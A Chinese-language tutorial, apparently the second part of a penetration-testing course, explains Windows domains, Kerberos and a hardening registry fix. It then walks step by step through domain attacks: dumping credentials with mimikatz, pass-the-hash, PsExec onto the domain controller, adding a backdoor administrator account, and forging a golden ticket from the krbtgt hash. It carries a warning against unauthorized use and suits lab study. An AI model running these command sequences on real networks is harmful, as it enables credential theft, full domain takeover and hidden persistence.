内网渗透(下)

每日一句:
		很多漏洞都是为了管理员或者用户的方便,或者说都是为了偷懒而产生。
		所以“体验性”与网站的“安全性”永远在对立面,越是方便的东西越是危险!

在次声明:
内网渗透是及其敏感的问题,实战之中一定要理智,不要越线。
在项目中没有明确的授权,做内网渗透100%违法。
至于挖掘src时,更是不能碰的东西,大家且行且珍惜。

一、域的简介与搭建

	1,简单回顾一下上一节课讲了说了点什么:
			端口的转发、
			抓取密码、
			用nmap扫描一下内网主机、
			烂土豆的提权
	
	2,什么是域?
		(1)在介绍什么是域之前,要提出一个问题,以更好地回答问题。
			
				问题:
					我们知道,内网里边有很多机器,例如几百台,上千台电脑,但是计算机管理员仅仅能只有几个人
					甚至一个人。如果他们想对所有的电脑进行更新升级,
					若是一台一台的操作,我估计不得累si 也得累的的吐血
				解决:
					实际上,win的开发也考虑到了这个问题,所有win之中有一个域的功能。
		
		(2)简单的说,
					
				域就是一些计算机组成的。一个电脑也能是一个域,一堆电脑也可以是一个域。
						域 中的机器并不平等。
				分为控制机与客户机,控制机的权限很大,可以操作域中的任意机器,
						被称为控制器,俗称域控(DC)
					
		(3)对黑客而言,
			
				拿下域控,就等于拿下了域中所有的机器。
				自古以来,拿下域控也是黑客攻击的最终目标
				
			pass:
				域控的账户密码可以登录任意域中的主机,
				
			多一句:
				为了防止如上篇文章中出现一个账号与密码可以登录所有的机器的情况,所有只要管理员稍微有安全意识,
				那么所有的内网机器的密码都是不同的,而管理员也记不住几百上千的密码,所以域控的账号密码显得格外的重要。
				对管理员来说是,对黑客来说亦是。
				
		
		(4)多说一句,
				之前小时候网吧里得万象、摇钱树系统就与域的功能很是相似,
				正常情况下,网管的机器可以控制网吧里所有的电脑(机器)
	
		(5)补充
				其实域是比较复杂,分为单域、子域、域树、域森林等概念
				对于初期渗透测试人员而言,其实都差不多。毕竟我们是搞安全的并不是运维人员
				
				简单的介绍下,
						单域:一个单独的域
						父域:即一个域下边还有另一个子域
						域树:一个父域与一个子域在一起就组成了一个域树
						域森林:一堆域树在一起就组成了域森林
					
						另外一个机器组成一个域的情况下,就没有客户机,仅有一个控制机 
		
		(6)如何区分当前主机是域中的控制机还是客户机
			 答:很简单,打开当前服务器管理器--角色那一栏,
				 看看有没有Active Directory域服务,有则为域控机,没有就是客户机了
	
	3,域的搭建过程(以win server 2008r2为例,这个内网机器Ip为:192.168.4.15)
			问题:win7、win xp、win10可以进入win server搭建的域吗?
			答曰:可以,只要在搭建的设置里将兼容性放高就可以了
			
			(1)安装步骤
					打开服务器管理器
					点击角色、添加角色、下一步、
					选择xxx域服务、下一步、下一步、
					点击安装,安装好,点击关闭
					
					到这里已经安装好了,但是需要配置
			(2)配置步骤
					点击角色
					点击刚刚创建的XXX域服务
					点击  运行Active Directory 域服务安装向导
					下一步、下一步、
					选择 在新林中建域
					下一步、
					给域起名字的话,就随意吧。以zk.cn为例
						//这个域的名字其实就是域名,域的使用本身就需要搭建DNS服务器,Windows他会一键搭建不用担心
					下一步		
						//开始检测有没有人用过这个域名,当然这是在咱们本机上检测
					林功能级别
						//选择的版本越低,兼容性就越好
						//毕竟新版本是要兼容老版本的,而老版本不要兼容新版本
					下一步、出现静态ip分配的话
						//在本机测试,选择“是”就行
						//他会自己搭建DNS服务器
						//若是报一些错,直接点击“是”就可以了
						
					文件路径,一般默认就可以了 
					要输入一个密码
						//这个密码是重置用的
					接下来等着就ok了
	
	4,如何知道一个域控有没有创建好?
			打开服务器管理器、
			点击角色。看看有没有多一个“Active Directory”域服务,
			可以点开看一下正不正常
	
	5.加入一个域
			(1)步骤
				 打开另一个计算机
				 开始菜单、计算机、右键属性、远程设置、计算机名、更改、
						比如我们更改为"A1",下边一个隶属于--选择域,
						输入zk.cn,点击“确定”就会加入之前创建的域,是这样吗?
				
			问题:域肯定和DNS有关 ; 我们创建的是zk.cn,但是我这台机器知道zk.cn吗?
				~知道
						如何知道?	通过查询DNS服务器得知
						
						默认情况下DNS服务器都是选择运营商的
						
						所以,电脑会去访问公网上的zk.cn,而不是我们搭建在内网的zk.cn
						
						这时,我们仅仅需要把我们使用的DNS服务器设置为内网的DNS服务器就可以了
						
						即直接选择刚刚创建域的那个机器的IP就可以了(192.168.4.15)
						
			
			(2)继续步骤(加入域控机器的dns)
					打开网络和共享中心、本地连接、属性
					选择 “ Internet 协议版本 4 ”
					设置 :使用下面的DNS服务器地址,将该地址设置为域控机的IP
							当然备选DNS可以放一个 8.8.8.8(谷歌的)或者144.144.144.144(移动的)
							另外8.8.4.4是谷歌的备选服务器
					
					现在在执行上述(1)的内容,会弹出一个窗口让填写账户密码(这个账户密码是域控机器的)
	
	6.题外话之 如何防止被猕猴桃抓明文?
		(1)
			上一篇文章提到,猕猴桃可以抓取到内存中的内容,我们也通过此方式获得了管理员的明文密码
			但是,win系统在高版本是不存在明文的,都是经过hash处理的到的密文,且此密文大多是不可逆的。
		
		(2)
			问题:	我们的win ser2008不想让别人抓到明文怎么办?即如何加固?
			答曰:	
					~打KB2871997的补丁	
						直接百度此编号,进微软官网下载即可
						下载完毕,直接双击运行
						
					~在修改注册列表
						win键+r--打开运行
						输入regedit回车进入注册列表
						进入此路径:HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
						将 UseLogonCredential 的值改为0即可
							//若是没有这个名字,新建一下就好(注意是32位的)
						
						
					//假如打了补丁没有修改注册列表,依旧是可以直接看到明文密码
					//安装完补丁,需要重启。建议在安装补丁的时候将注册列表修改(修改注册列表重启生效)
					
					//win版本高的话,直接抓不到管理员的明文密码,可以先调一下注册列表,重启后
					//静静等待管理员的二次访问即可抓到明文密码
			
		(3)补充:
			问题:	日常注册多的一些账户密码会存在服务器的数据库里,但是你觉得通过数据库是否可以看到明文密码?
			答曰:	显示是否定的,绝大多数的数据库会将密码加密保存。且直接md5加密在目前来看已经很low了,至少加盐才相对安全点
				
			扩展:	什么是加盐的md5?
			回答:		盐值 = salt(随机数)
						加盐的md5 = md5( md5(password).$salt )		//这里的“.”是连接的作用
						
						当然,假如获得了“盐值”在进行爆破还是挺容易爆出的
						
			问题:	现在的安全加密算法是什么样的?
			回答:	通过多次加密混淆后形成的一堆密文,一般10来位的密码加密后往往都四五十位
					例如:取值后截取放入盐值经过开发自己的混淆算法等处理后,在将得到的值进行md5加密
					
								密码学的核心  ==》  算法(密文)不可逆

二、winwods认证协议-Kerberos

	1.思考
		不知道大家有没有稍微深入的想一想,为什么域控机的账号密码可以登录所有域中的机器?
		简单的说一下原理吧,
			在域中一台电脑上登录另一台的用户,需要一个通信证,这个通行证就叫做票据。
			你拿着域控的票据(通行证)就可以登录域内任意机器了
		
		PS : 当然这只是简单的理解,其实内部整个过程是相当复杂的。
			 有兴趣的可以去深就一下,个人不建议初学者去整这个,很容易从入门到放弃。
	
	2.举例理解
		场景:A 机器用域控账户密码登录	--	验证账户密码 --  验证成功 -- 允许登录
		问题:A机器如何知道你输入的账户密码是对的?或者说是在哪验证的?
				
			答案无外两种,
					~A机器去找域控验证	
					~A机器去找一个“第三方”数据库认证
			
			在回答这个问题之前,我们要想到一个场景。假设一个域中成千上万的机器,如果每个登录都去找域控,
			那域控的工作又得加重,这就让本就劳累得域控机更是“雪上加霜”,
			所以为了减轻域控机得压力和符合目前分权治理的主流概念,
			在域建立之初就诞生一个类似古代“丞相”官位的东西---“特殊的数据库”(即KDC密钥分发中心)。
			每一个新机器加入域,都会到“丞相”备案,他们登录的时候都会去找丞相验证。
			以让域控机有更多的精力去干自己的活
	
	3.KDC密钥分发中心
		(1)
			其实这个KDC密钥分发中心主要有两个得力助手--AS、TGS
			以坐火车的场景来介绍一下两大助手
					
					场景中AS:	进火车站时,验证票与身份证,确认你的身份
					场景中TGS:	进了火车站,也不能直接上火车,得在电阀门验票,看看你有没有买到站火车的票,
								通过之后才能进铁轨附近等火车。
				
					AS:
						AS先校验访问机器的身份,看看你是不是域中的机器,
						如果你是域中的某台机器(即访问机器的用户名存在AS的数据库中),
						AS分发给访问机器一个用访问机器密码加密的随机64位的值,访问机器得到本地拿自己密码解开。
						
						//这个64位的值是下一步与TGS交流的信物(密钥),接下来与TGS的沟通都会用这个密钥加密解密。
						
					TGS:
						和来访机器就行交互,中间用AS提供的密钥加密解密。然后对访问机器提供的域控密码进行校验
					
					发证:
						通过上述两次校验后,给你个票据(通行证),你就可以凭借这个票据进入机器。
						
			总结,
					就是KDC密钥分发中心对访问机器和提交的域控密码进行的两次验证,
					通过验证后给访问机器分发一个票据,有这个票据你就可以干很多事情了。
					
					注:上述仅仅是简化,方便大家理解,实际上肯定比这要复杂的多,建议安全初学者不要深究。
			
		(2)(非)对称加密
				
				~对称加密:加密与解密是同一串字符串则,反之为非对称加密
						有一段密钥,谁有他就可以解码,加密
						类似压缩包的密码
				
				~非对称加密如RSA,椭圆曲线,国密等等
						(分为公钥与私钥,比特币就是用这种算法加密,这里不在展开)
				
				多提几句:
						~明文传输密码是很危险的[在中国移动项目中,网站明文传输密码是高危]
						~计算机的底层就是数学

三、域渗透-哈希传递

	1.mimikatz的再次介绍(猕猴桃)
			经典语法:
					privilege::debug 提升权限
					sekurlsa::logonpasswords 抓取密码
			
			补充:
					额外说一句在猕猴桃中是没办法复制内容的,额外提一个命令 “log” 。	
					可以在同目录下生成一个日志文件。将产生的内容都存在这个文件中
			
			使用步骤:
					~privilege::debug 					先提升权限
					~log								打开日志开始记录
					~sekurlsa::logonpasswords 			抓取域控密码,自动保存到日志中
					~从日志中获取(可以复制)密码
				
	问题:域控机登录过的机器,会不会将他的账户密码留在客户机呢?
	答曰:答案是肯定的,我们可以通过猕猴桃抓一下内存的东西,一般可以抓到域控机的密码,可能会经过hash加密
	
	2.如何发现域控机(名称)
	
			~一般看看客户机的DNS服务器都是域控机
			
			~cmd运行命令,net user /domain可以看到域控机的域名(也是域控机的名称)
					直接运行会提示拒绝访问,这是因权限不够的原因
					
					提权扩展:
							
							PsExec(微软官方提权工具):
								win官方的提权工具[使用前提:本身必须已经是Adminstrator权限]
								这个提权是正统的,可以将Adminttrator权限提升为system权限
								
							提权命令:	
								PsExec -i -d -s cmd
							
							步骤:
									~将提权工具(PsExec)复制到靶机
									~运行提权命令,会弹出一个cmd的框
									~在这个框之中运行的命令都是system权限了
							
							补充:	
								//像之前提到的烂土豆之类的都是利用漏洞,不管本身是什么,直接将权限提上来
								//第一次运行PsExec会弹出一个协议,同意即可。之后会弹出来一个框,这个框就是system权限了
								//可以用 “whoami” 看看是否是system权限
								
			
	3.哈希传递
		(1)收获
				到这里,我们已经知道域控机的名称与经过hash加密的密码了。
				但是,密文一般都是不可逆的,基本上不可能解开。
		
		(2)问:那我们该如何利用得到的密文呢?
			 答:这就牵扯到一种方法叫做,哈希传递(PTH)Pass-The-Hash
		
		(3)问:哈希传递是什么东西?
			 答:直接解释,还不好说。上例子:
					你想进入A办公室,但是门卫不让进。你也没有钥匙,你费劲周折拿到经理的钥匙包,
					但是这个包,你打不开。那怎么办?
					这时,当你拿着包靠近大门时,大门感应到包里的通行证、直接打开了。
						
					ok,这里:
							通行证		   == 		明文密码
							钥匙包		   == 		加密后的密文
							用钥匙包打开门 == 		哈希传递
				
					即,在登录其他用户的时候,也可以这样去计算类似的情况,所以你用哈希值就可以去登录同密码的服务器,
					然后因为这里是域控的账户密码,那么你可以直接用这个去登录域控
		
		(4)问:如何利用哈希传递访问域控机的文件?
			 答:
				 打开猕猴桃,执行命令:	
					sekurlsa::pth /user:administrator   /domain:"zk.cn"    /ntlm:125d5986d96f996598741asdf45g25c9
								   user后写:用户名   		域名地址		  ntlm的加密值(在猕猴桃抓密码内容中找)
								   
					执行命令后会弹出一个cmd执行框,这个执行框就可以访问域控机上一些文件了
							命令如:	" dir \\域控机的名称\C$	"---->即可看到域控机C盘的文件
							注意的是直接执行“whoami”显示的还是本机
		
		(5)获取域控机的权限
				 当然,我想大部分人是不愿意看域控机C盘,C盘有啥好看的。我更需要获得域控机的权限,
				 其实你可以查看C盘就代表着,你有了操作域控的权限,这里继续使用"PsExec.exe"
				 上命令:
						PsExec.exe //域控地址 cmd				//调用域控主机的cmd
				
						注意的是
							~这个命令要在(4)步骤中弹出的cmd中执行,
							~要cd到PsExec上传的路径,不然执行上边命令会找不到“PsExec”。
				
				步骤:
						~执行(4),弹出cmd										//用哈希传递连接到域控
						~在CMD中执行 “cd c:\Users\Administrator\Desktop	”		//cd到PsExec的上传路径
						~执行 “ PsExec.exe \\域控地址 cmd ”						//打开域控机的cmd
						~等待一会,等在该cmd框可以在次执行命令的时候即可
						~执行 “ whoami ” ,不出意外现在已经是域控机的权限了		//此时命令就相当于在域控的cmd中执行的 
						
						然后就是常规操作:创建自己的用户--将创建的用户加入管理员组
						~继续执行: “ net user test test123456. /add ”			//创建用户
						~继续执行: “ net localgroup administrators test /add ”	//将用户加入到管理员组	
						~用我们创建的用户远程登录域控机器
		
		(6)新的问题
				在第(5)步最后,虽然我们已经可以对域控机器为所欲为了,但是也出现了一些新的问题,
					~添加账号是挺不错的,但是这么做的话,动静太大了,一般不建议这么干。
					~当然,我们依旧可以通过哈希传递登录域控机器。这里要提到一点,域控可以登录域内一切的机器。
						所以域控的账号密码会经常换来换去,可能下次我们就不能继续登录了。
						综上,为了能维持长久的控制,我们要去伪造一个黄金票据,这样即使域控密码改了我们依旧可以登录。

四、域渗透-黄金票据

	1,简介
			域渗透中其实有金银票据,一个是黄金票据 一个是白银票据。
			一个用的是域控用户账户,一个用的是krbtgt账户。
			黄金票据权限是最大,今天主要介绍下黄金票据
		
	2,krbtgt账户
			krbtgt账户其实就是哪个KDC密钥分发中心用的超管密码,我们拿着那个的票据,去访问客户机,
			客户机会认为我们是KDC秘钥分发中心,所以直接给了最高的权限允许我们访问,
			一般管理员会修改域控机密码,但是很少有管理员会修改Krbtgt的密码。那我们看看怎么伪造这个黄金票据。
					~主要修改Krbtgt的密码步骤比较繁琐
					~部分管理员也不知道这个东西的存在
	
	3,获取krntgt账户的密码
			(1)命令(猕猴桃中执行):
			
					lsadump::dcsync /user:krbtgt  		//获取krbtgt的密码 
					
					原理是:mimikatz 会模拟域控,向目标域控请求账号密码信息
			
			(2)实战步骤:
					~privilege::debug 					先提升权限
					~log								打开日志开始记录
					~lsadump::dcsync /user:krbtgt  		获取krbtgt的密码
					
					之后在日志中寻找两样东西的值:
							“ Object Security ID ”	:S-1-5-21-1320693982-6530745784-2957373235	(这是我的靶机抓的) 
								与		
							“ Hash NTML ”			:1186ad63v126d316ed5st6b60b3d73lj (这是我的靶机抓的) 
					
					注意:
						~上述命令要在域控机器上执行
						~“ Object Security ID ”的值,并不包含最后的“-502”
	
	3,伪造票据
			(1)制作票据的命令(猕猴桃中执行):
			
					kerberos::golden /admin:administrator /domain:zk.cn /sid:上边的 /krbtgt:上边的 /ticket:administrator.kiribi  
										这可随便写			域控地址	 没有502		Hash NTML
					
					注意:这个命令在目标靶机(非域控机)上执行,执行后会生成一个票据文件“administrator.kiribi”
					
			(2)加载票据的命令(猕猴桃中执行):
					
					kerberos::ptt administrator.kiribi      [加载票据]
					
			(3)检查成果
					在目标靶机的cmd中可以执行一下“ klist ”命令,正常情况可以伪造时间是10年。
					此时,继续whoami一下,显示的应该是目标靶机的身份,而不是域控机的,但是可以直接访问域控机的文件。
							如执行查看域控C盘的命令:
									“ dir \\域控机的名称\C$ ”
							连接域控cmd的命令:
									“ PsExec.exe \\域控地址 cmd ”
							之后可以“whoami”一下看看,不出意外就是域控机的身份了
							
							
				补充:	这种长期票据不会因为客户机的系统更新而失效,因为这种在win官方中并不是漏洞,而是一种认证方式。

五、总结实战步骤:

	0,前提
			已经拿下域中一台客户机的权限,且可以远程登录(为方便下边叙述,称目标靶机为“K机器”)
		
			此时的目标是拿下域中域控机的权限
		
	1,步骤
			(1)~远程连接k机器,并将猕猴桃上传
			
			(2)~在猕猴桃中执行
					“privilege::debug” 				提升权限,
					“log”							打开日志开始记录
					“sekurlsa::logonpasswords”		抓取域控登录的密码,自动保存到日志中。将域控的ntlm值保存下来,下一步要用。
					“sekurlsa::pth /user:administrator   /domain:"zk.cn"    /ntlm:125d5986d96f996598741asdf45g25c9”		利用哈希传递连接域控机

			(3)~在弹出的cmd框中测试有没有域控机的权限
					访问域控机的C盘的命令:“ dir \\域控机的名称\C$	”
					
					问:如何知道域控机的名称?
					答:	
							~先将PsExec上传到k机器的桌面
							~cd到PsExec上传的地方 “ cd c:\Users\Administrator\Desktop ”	
							~提升权限“PsExec -i -d -s cmd”,会弹出一个新的cmd框(域控机的cmd)
							~输入命令:“ net user /domain ”来查看域控机的名称
							
							其实,正常是先试试能不能打开域控C盘验证有没有权限,有的话在传PsExec连接域控cmd
							在这里倒是反着来了,成了先连接域控cmd在,查看域控C盘了
			
			(4)~连接域控cmd
					步骤在(3)中说了
							
			(5)在域控机上创建用户
					在(4)中弹出的cmd中执行
							“ net user test test123456. /add ”				//创建用户
							“ net localgroup administrators test /add ”		//将用户加入到管理员组	
			
			(6)远程连接域控机
					在k机器上打开远程桌面连接,
					用刚刚创建的用户登录域控。

你可能感兴趣的:(网络小白进阶路)